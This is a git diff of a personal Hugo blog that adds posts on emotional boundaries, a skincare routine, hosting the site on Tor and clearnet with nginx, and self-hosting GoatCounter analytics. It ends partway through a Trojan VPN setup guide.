being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other's respect. Naturally that evolved into me becoming a people please. A so called "nice person". I've even been made fun of with those words. + +All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I'm broken. When people act cold with me, I assume they don't like me. Then I want to fix things. Then I become annoying. I look like an "anxiously attached" person. + +But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It's sad, and it's eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please. + +So... I made a decision. To stay away from everyone. To make distance. + +The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don't want to lose. But it's part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place? + +The part I'm making mistake in is that everyone thinks something bad has happened. And they "probably" expect me to talk to them about it. Now this is the part I had to work on. The "setting boundry" part. I don't know if I can do it respectfully or not. I know I will break if I talk. + +I don't really like to stay away from people, to push my friends away. But for now, I have to. I hope I won't regret any of these actions. I hope I can heal. I don't know what will happen next, I just know that I don't want to hangout in large groups for a while. I don't want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won't turn into an incel. I know I won't. I know I push through. I know... + + + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/setting_boundries.md.asc b/public-onion/sources/posts/setting_boundries.md.asc new file mode 100644 index 0000000..3f3467f --- /dev/null +++ b/public-onion/sources/posts/setting_boundries.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM +jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo +7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2 +HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/ +v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv +Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr +vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c ++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s +EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf +OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ +oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE +CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos= +=oJ5s +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/skin_routine.md b/public-onion/sources/posts/skin_routine.md new file mode 100644 index 0000000..0e4f421 --- /dev/null +++ b/public-onion/sources/posts/skin_routine.md @@ -0,0 +1,74 @@ ++++ +title = 'Skin routine' +date = 2025-10-20T18:47:04Z +draft = false +description = "My skin routine!" ++++ + + +I don't know how to answer the "why?" or "whyyyyy?" or even "why the f\*\*\*?" I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, "Knock on wood, you have good skin!". +So... idk why I decided to take extra care of my skin, but I did! + +Generally speaking, things like this make me feel good about myself. +Like I'm doing something positive while not being tortured! +It's always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice! + +Oh... and yeah, idk why I'm not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me. + +So... I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to "Jack Black Pure Clean Daily Facial Cleanser" after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don't need to use the cleanser in the morning, but you should definitely use it at night. +It's ok to wash your face with water in the morning. + +The next step for me is applying the toner. +I use "NIVEA Derma Skin Clear Toner". +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here. + +After this, I apply an exfoliant to exfoliate my skin. +I've been using "Paula's Choice Skin Perfecting 2% BHA Liquid Exfoliant" so far, but this time I got "BULLDOG Original Exfoliating Face Scrub for Purer Skin". +Haven't used it yet, but Paula's choice one is definitely good. +The thing with it is that you don't have to massage it; it's not physical; it's an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I'll see how I like the new one, and if I prefer it or not. +No rinsing is required here either. + +I then apply my eye cream, which is also from CeraVe. +Haven't really seen much of a difference under my eyes, but it is supposed to help. +I don't know! It feels good to apply the eye cream regardless. + +The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I've watched Mortuary Assisant's gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use "Neutrogena Hydro Boost Aqua Gel Moisturiser". +As a man, if you use oil-based products, you'll get acne. +So don't. + +I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^ + +And... last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection. + +Even if it does nothing, it still makes me feel good about myself. + +The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning! + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/skin_routine.md.asc b/public-onion/sources/posts/skin_routine.md.asc new file mode 100644 index 0000000..416380b --- /dev/null +++ b/public-onion/sources/posts/skin_routine.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W +hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED +HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb +JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi +2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC +veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9 +48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi +8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF +MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b +suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX +1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA= +=dBAx +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/tor_clearnet_blog.md b/public-onion/sources/posts/tor_clearnet_blog.md new file mode 100644 index 0000000..f3d04bd --- /dev/null +++ b/public-onion/sources/posts/tor_clearnet_blog.md @@ -0,0 +1,290 @@ +--- +title: "Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod" +date: 2025-09-19 +tags: ["tor", "nginx", "hugo", "papermod", "cloudflare", "letsencrypt"] +categories: ["DevOps", "Notes"] +description: "How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy." +draft: false +ShowToc: true +TocOpen: true +--- + +> TL;DR — The site is built once (Hugo project), **published twice**: +> - **Onion**: `http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/` via Tor, no TLS/HSTS, bound to `127.0.0.1:3301`. +> - **Clearnet**: `https://blog.alipourimjourneys.ir` behind Cloudflare, Let’s Encrypt cert, `Onion-Location` header pointing to the onion mirror. + +--- + +## 1) Tor hidden service (onion) basics + +I used Tor’s v3 onion services and mapped onion port 80 → my local web server on `127.0.0.1:3301`. + +**Install & configure Tor (Debian/Ubuntu):** +```bash +sudo apt update && sudo apt install -y tor +sudoedit /etc/tor/torrc +``` + +Add: +``` +HiddenServiceDir /var/lib/tor/hidden_site/ +HiddenServicePort 80 127.0.0.1:3301 +``` + +Make sure the directory is owned by Tor’s user and private: +```bash +sudo mkdir -p /var/lib/tor/hidden_site +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site +sudo chmod 700 /var/lib/tor/hidden_site +``` + +**Important:** use the right systemd unit: +```bash +# validate as the Tor user +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config + +# (re)start the real service +sudo systemctl enable --now tor@default +sudo systemctl restart tor@default +``` + +Get the onion address: +```bash +sudo cat /var/lib/tor/hidden_site/hostname +``` + +Quick check (do remote DNS via SOCKS): +```bash +curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)" +``` + +--- + +## 2) Nginx for the onion (localhost-only) + +I keep the onion site strictly on localhost: **no HTTPS, no redirects, no HSTS**. Tor already provides e2e encryption and authenticity. + +`/etc/nginx/sites-available/onion-blog`: +```nginx +server { + listen 127.0.0.1:3301 default_server; + server_name .onion 127.0.0.1 localhost; + + # keep onion simple; no HSTS/redirects here + add_header Referrer-Policy no-referrer always; + add_header X-Content-Type-Options nosniff always; + add_header X-Frame-Options SAMEORIGIN always; + # (optional) strict CSP so nothing leaks to clearnet + # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always; + + root /srv/hugo/mysite/public-onion; + index index.html; + + location / { try_files $uri $uri/ /index.html; } + location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { + access_log off; + add_header Cache-Control "public, max-age=31536000, immutable"; + try_files $uri =404; + } +} +``` + +Enable/reload: +```bash +sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog +sudo nginx -t && sudo systemctl reload nginx +``` + +> Gotcha I hit: I had **two** server blocks on `127.0.0.1:3301`, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it `default_server`). Also, if you ever use a regex in `server_name`, the syntax is `server_name ~* \.onion$` (note the space after `~*`). + +--- + +## 3) Hugo + PaperMod setup (and version bumps) + +PaperMod now requires **Hugo Extended ≥ 0.146.0**. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read `/srv` paths by default). + +```bash +# install Hugo extended (example) +VER=0.146.0 +cd /tmp +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz +sudo mv hugo /usr/local/bin/hugo +hugo version # should say "extended" and >= 0.146.0 +``` + +Create the site and theme: +```bash +sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo +cd /srv/hugo +hugo new site mysite +cd mysite +git init +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod +``` + +**Config updates:** in newer Hugo, `paginate` is deprecated → use: +```toml +# config/_default/hugo.toml +title = "My Blog" +theme = "PaperMod" +enableRobotsTXT = true + +[pagination] + pagerSize = 10 + +[params] + defaultTheme = "auto" + showReadingTime = true + showPostNavLinks = true + showBreadCrumbs = true + showCodeCopyButtons = true +``` + +I added per-environment overrides so I can build two outputs with different `baseURL`s: + +```toml +# config/clearnet/hugo.toml +baseURL = "https://blog.alipourimjourneys.ir/" + +# config/onion/hugo.toml +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/" +``` + +--- + +## 4) Dual builds (clearnet + onion) and one-command deploy + +I publish the same content twice—once for each base URL and docroot: + +```bash +cd /srv/hugo/mysite +# clearnet build (served over HTTPS) +hugo --minify --environment clearnet -d public-clearnet +# onion build (served via Tor) +hugo --minify --environment onion -d public-onion +sudo systemctl reload nginx +``` + +Helper script I use: +```bash +sudo tee /usr/local/bin/build-both >/dev/null <<'EOF' +#!/usr/bin/env bash +set -euo pipefail +cd /srv/hugo/mysite +hugo --minify --environment clearnet -d public-clearnet +hugo --minify --environment onion -d public-onion +sudo systemctl reload nginx +echo "Deployed both at $(date)" +EOF +sudo chmod +x /usr/local/bin/build-both +``` + +While editing, I sometimes auto-rebuild on file save: +```bash +sudo apt install -y entr +cd /srv/hugo/mysite +find content layouts assets static config -type f | entr -r build-both +``` + +--- + +## 5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01) + +Cloudflare is set to **Full (strict)**. I issued a public cert for `blog.alipourimjourneys.ir` using **manual DNS-01** (no API token): + +```bash +sudo snap install --classic certbot +sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email +``` + +Certbot tells you to add a TXT record `_acme-challenge.blog.alipourimjourneys.ir`. Add it in Cloudflare DNS, verify with `dig`, then continue. Cert ends up at: +``` +/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem +``` + +Clearnet Nginx vhosts: + +```nginx +# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway) +server { + listen 80; listen [::]:80; + server_name blog.alipourimjourneys.ir; + return 301 https://blog.alipourimjourneys.ir$request_uri; +} + +# HTTPS origin (behind Cloudflare) +server { + listen 443 ssl http2; listen [::]:443 ssl http2; + server_name blog.alipourimjourneys.ir; + + ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem; + + # HSTS on clearnet only + add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; + + # Help Tor Browser discover the onion mirror (safe on clearnet) + add_header Onion-Location "http://.onion$request_uri" always; + + root /srv/hugo/mysite/public-clearnet; + index index.html; + + location / { try_files $uri $uri/ /index.html; } +} +``` + +> Note: don’t add HSTS or HTTPS redirects to the **onion** vhost. Keep onion pure HTTP on localhost. + +--- + +## 6) Troubleshooting I ran into (and fixes) + +- **Tor unit confusion:** `tor.service` is a tiny master; the real daemon is `tor@default`. Use that unit and verify config as `debian-tor`. +- **Permissions:** `HiddenServiceDir` must be owned by `debian-tor` and mode `700`. +- **Mapping mismatch:** If `HiddenServicePort 80 127.0.0.1:3301` is set, visit `http:///` (no `:3301`). If you set `HiddenServicePort 3301 127.0.0.1:3301`, you must use `http://:3301/`. +- **Curl & .onion:** modern curl refuses `.onion` unless you use remote DNS via SOCKS: + ```bash + curl -I --socks5-hostname 127.0.0.1:9050 "http:///" + ``` +- **Two Nginx vhosts on the same port:** I had a duplicate server on `127.0.0.1:3301` pointing somewhere else, which caused onion 404s. Keep only one (or mark one `default_server`). +- **Regex in `server_name`:** if you use it, write `server_name ~* \.onion$` (space after `~*`). I fixed an `invalid variable name` error caused by a missing space. +- **PaperMod with old Hugo:** upgraded to **extended ≥ 0.146.0**. Also updated `paginate` → `[pagination].pagerSize`. +- **Snap confinement:** Snap’s `hugo` couldn’t read `/srv` (`.../void: permission denied`). Switched to the tarball build in `/usr/local/bin`. + +--- + +## 7) “Not secure” in Tor Browser? + +That message can appear because onion uses **HTTP**. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference **clearnet** resources (scan the built HTML for `http(s)://` links that aren’t your onion). + +--- + +## 8) Day-to-day workflow + +- Create content: + ```bash + hugo new posts/my-first-post.md # then set draft: false + ``` +- Publish both: + ```bash + build-both + ``` +- (Optional) Auto on save: + ```bash + find content layouts assets static config -type f | entr -r build-both + ``` +- (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs `build-both`. + +--- + +## Final notes + +- Clearnet gets **HTTPS + HSTS** and an `Onion-Location` header. +- Onion gets **no HSTS/redirects**, and all assets are self-hosted to avoid mixed content. +- Serving both worlds from one Hugo repo is easy: **two builds, two vhosts, one workflow**. + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/tor_clearnet_blog.md.asc b/public-onion/sources/posts/tor_clearnet_blog.md.asc new file mode 100644 index 0000000..40ec603 --- /dev/null +++ b/public-onion/sources/posts/tor_clearnet_blog.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4 +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4 +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/ +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8 +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM= +=QlNw +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/view_count.md b/public-onion/sources/posts/view_count.md new file mode 100644 index 0000000..0ab5416 --- /dev/null +++ b/public-onion/sources/posts/view_count.md @@ -0,0 +1,400 @@ +--- +title: "A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)" +date: 2025-10-18T10:45:00 +slug: papermod-views-debugging-story +summary: "I tried to add a simple 'views' counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix." +tags: ["Hugo", "PaperMod", "Analytics", "Debugging", "Busuanzi", "Vercount", "GoatCounter"] +categories: ["Stories"] +draft: false +--- + +I only wanted a tiny **“views”** badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day. + +The thing is, I don't think the counter even works correctly. +Or maybe I'm undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I've been counting days for. + + +### The neat footer row + +First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side: + +```html +
    + + { partial "svg.html" (dict "name" "rss") } + RSS + + + + + + Site views: + + + + Visitors: + +
    +``` + +So far, so good. The labels showed up. The numbers, though? **Nothing.** Just an em dash. I shrugged—maybe it was a caching thing. + +### The first round of checks + +I added the script site‑wide in `layouts/partials/extend_head.html`: + +```html + +``` + +Refreshed. Still blank. + +**DevTools time.** Network tab: the script **does** load: +- **Request URL:** `https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js` +- **Request Method:** GET +- **Status Code:** 304 Not Modified +- **Referrer Policy:** strict-origin-when-cross-origin +- **User-Agent:** a normal Chromium build (nothing exotic) + +No red flags. Just a perfectly normal 304. + +Maybe my IDs were wrong? Busuanzi has a couple of flavors: `busuanzi_value_*` (with container wrappers) or shorthand like `busuanzi_site_pv`. I tried **both**, carefully, one at a time. Still… **—**. + +### The odd message + +Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right: + +> **“域名过长,已被禁用 views”** + +That’s “domain name too long, disabled.” Wait, what? + +I checked my hostname: **`blog.alipourimjourneys.ir`**. I counted: **27 characters**. Busuanzi’s limit? **22.** Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill. + +### Two ways out + +At this point I had two clean options: + +1. **Keep Busuanzi** and move the site to the **apex domain** (short enough). +2. Keep my beloved `blog.` subdomain and swap in **Vercount**, a Busuanzi‑style drop‑in without the 22‑char limit. + +I liked the subdomain (habit, mostly), so I tried **Vercount**. + +### The swap (five-minute fix) + +I removed the Busuanzi script and added Vercount instead: + +```html + + +``` + +I kept the same tidy footer row, but switched the IDs to Vercount’s: + +```html +
    + + { partial "svg.html" (dict "name" "rss") } + RSS + + + + + Site views: + + Visitors: +
    +``` + +For per‑post counts (in the post meta), I added: + +```html + views +``` + +Deploy. Refresh. **Numbers.** + +### But if you want to stay with Busuanzi… + +If your apex domain is short enough, pointing the site there works fine. The gist: + +- Set `baseURL` in Hugo to the apex: + + ```toml + baseURL = "https://alipourimjourneys.ir/" + ``` + +- Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool). +- Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate. + +### Post‑mortem checklist (a.k.a. things I learned) + +- **If the script loads but you get blanks**, it’s not always IDs or caching. Sometimes it’s a **service rule**. +- **Busuanzi refuses long hostnames** (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note. +- **Don’t mix providers** on the same page. Load exactly one script (Busuanzi *or* Vercount). +- **CSP and blockers matter.** If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin. + +### Happy ending + +Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles. + +If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of. + +### Final notes +Yea... I just felt this feature was missing, and it's good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I've spent too much time on it, and it feels like wasted time. + + +--- + + +## Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion) + +This is the **self‑host** part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my `.onion` mirror counting to the same GoatCounter site. Paste this whole section at the end of the post. + +--- + +### 1) Clean up old counters (optional, once) +```bash +# From your Hugo site root +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" . +``` +Remove any matching ` + + + +``` + +Style so meta items stay inline with middle dots (PaperMod‑like). Put this in `assets/css/extended/goatcounter.css`: +```css +.post-single .post-header .post-meta, +.post-single .post-header .entry-meta, +.post-entry .entry-footer, +.post-entry .post-meta { + display:flex; align-items:center; flex-wrap:wrap; gap:.35rem; +} +.post-single .post-header .post-meta > *, +.post-single .post-header .entry-meta > *, +.post-entry .entry-footer > *, +.post-entry .post-meta > * { + display:inline-flex; align-items:center; white-space:nowrap; +} +.post-single .post-header .post-meta > * + *::before, +.post-single .post-header .entry-meta > * + *::before, +.post-entry .entry-footer > * + *::before, +.post-entry .post-meta > * + *::before { + content:"·"; margin:0 .5rem; opacity:.6; +} +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; } +``` + +--- + +### 6) Count Tor (.onion) visits **into the same site** +In the **.onion** server block, proxy GoatCounter endpoints to the same site by forcing the Host header: + +```nginx +# inside: server { ... } for fjthpp2h3mj2r....onion + +location = /count { + proxy_pass http://127.0.0.1:8081/count; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; # onion is http +} + +location /counter/ { + proxy_pass http://127.0.0.1:8081/counter/; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; + add_header Cache-Control "no-store"; + proxy_no_cache 1; proxy_cache_bypass 1; +} +``` + +Because the loader above sets `window.goatcounter.endpoint` to `/count` on `.onion`, both **hits** and **reads** stay on the onion origin and are tallied into the same GoatCounter site. + +> **Note on DNT/Tor:** Tor Browser sends `DNT: 1`. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way. + +--- + +### 7) Troubleshooting quick notes +- **400 “no site at this domain”** → create the site with `-vhost=statsblog.alipourimjourneys.ir` or fix your proxy `Host` header. +- **Counts don’t change on onion** → verify Tor path via `torsocks`, watch logs: + ```bash + docker compose logs -f goatcounter + # look for “ignored: bot” (curl UA), or DNT being respected + ``` +- **DevTools sanity** → on clearnet you should see `https://statsblog…/count` and `…/counter/*.json`; on onion you should see `/count` and `/counter/*.json` (same‑origin). + +That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere. + + +Honestly, self-hosting GoatCounter wasn't as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it's done and dusted, and I'm a happy puppy! :D + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/view_count.md.asc b/public-onion/sources/posts/view_count.md.asc new file mode 100644 index 0000000..f32df87 --- /dev/null +++ b/public-onion/sources/posts/view_count.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8 +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2 +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc= +=o387 +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/vpn.md b/public-onion/sources/posts/vpn.md new file mode 100644 index 0000000..e4c2115 --- /dev/null +++ b/public-onion/sources/posts/vpn.md @@ -0,0 +1,177 @@ +--- +title: "Stealth Trojan VPN Behind Cloudflare Guide" +date: 2025-09-09T11:05:00+02:00 +draft: false +tags: ["VPN", "Trojan", "Cloudflare", "Xray", "3x-ui", "Bypass", "Privacy", "Debugging"] +categories: ["Guides"] +--- + +## Introduction +So you want a VPN that **doesn't scream "I am a VPN"** to every censor and firewall out there? +Welcome to the world of **Trojan over WebSocket + TLS behind Cloudflare**. + +This guide not only shows you how to set it up but also sprinkles in some **debugging magic** so you can figure out why things break (and they *will* break, trust me). + +We’ll anonymise domains and secrets, so substitute with your own: +- VPN domain: `web.example.com` +- Panel domain: `panel.example.com` +- Secret WS path: `/stealth-path_abcd1234` +- Password: `` + +--- + +## Architecture at a Glance +Think of it as a disguise party: + +- **Trojan** = the shy guest (your VPN protocol) +- **Nginx** = the bouncer checking IDs (reverse proxy) +- **Cloudflare** = the doorman who makes sure nobody sees who's inside (CDN & proxy) +- **Your fake website** = the mask (camouflage page) + +Traffic flow: +``` +Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321) +``` + +--- + +## Step 1: Panel Setup (`panel.example.com`) +- Bind the 3x-ui panel to localhost (e.g., `127.0.0.1:46309`). +- Choose a funky **web base path** like `/panel-bananas_42/`. +- Proxy it through Nginx with HTTPS + Basic Auth. +- Test it at `https://panel.example.com/panel-bananas_42/`. + +**Pro tip:** If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs! + +--- + +## Step 2: Trojan Inbound +In 3x-ui, create a Trojan inbound: +- Local port: `54321` +- Transport: WebSocket +- Path: `/stealth-path_abcd1234` +- Security: none +- Password: `` + +--- + +## Step 3: Nginx for VPN Domain (`web.example.com`) +Your Nginx is the gatekeeper. Sample config: + +```nginx +server { + listen 443 ssl http2; + server_name web.example.com; + + ssl_certificate 